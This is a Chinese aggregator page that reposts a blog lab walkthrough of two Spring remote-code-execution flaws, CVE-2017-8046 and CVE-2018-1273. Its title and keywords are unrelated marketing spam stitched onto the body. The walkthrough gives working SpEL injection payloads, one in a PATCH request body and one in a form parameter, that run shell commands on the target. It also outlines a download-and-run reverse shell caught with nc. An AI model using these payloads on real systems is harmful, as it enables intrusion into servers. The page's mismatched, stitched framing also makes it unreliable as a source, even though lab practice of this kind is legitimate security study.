当前位置: 首页> 汽车> 新车 > 短视频制作培训班_苏州市建筑设计研究院_产品网络营销策划_全网营销推广是什么

短视频制作培训班_苏州市建筑设计研究院_产品网络营销策划_全网营销推广是什么

时间:2025/7/11 10:40:33来源:https://blog.csdn.net/2301_81383433/article/details/146487580 浏览次数: 0次
短视频制作培训班_苏州市建筑设计研究院_产品网络营销策划_全网营销推广是什么

框架特征:如果默认报错页面没有修复,那就是长这样

一、Spring Data Rest 远程命令执⾏命令(CVE-2017-8046)

1.访问页面/customers/1 ,然后抓取数据包,使⽤PATCH请求来修改

[{ "op": "replace" , "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname" , "value": "vulhub" }]   

2.成功发送数据包之后,可以进⼊docker容器内查看是否执⾏命令 

二、spring 代码执⾏ (CVE-2018-1273)

1.访问靶场

2. 填写注册信息,bp抓包

加上POC:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("t ouch /tmp/crz")]=&password=&repeatedPassword=  

3.进⼊终端查看,可以看到成功写⼊

4.反弹shell

云服务器写⼀个 反弹shell 脚本 

靶机下载执⾏行sh 脚本 

5.nc监听

 

关键字:短视频制作培训班_苏州市建筑设计研究院_产品网络营销策划_全网营销推广是什么

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: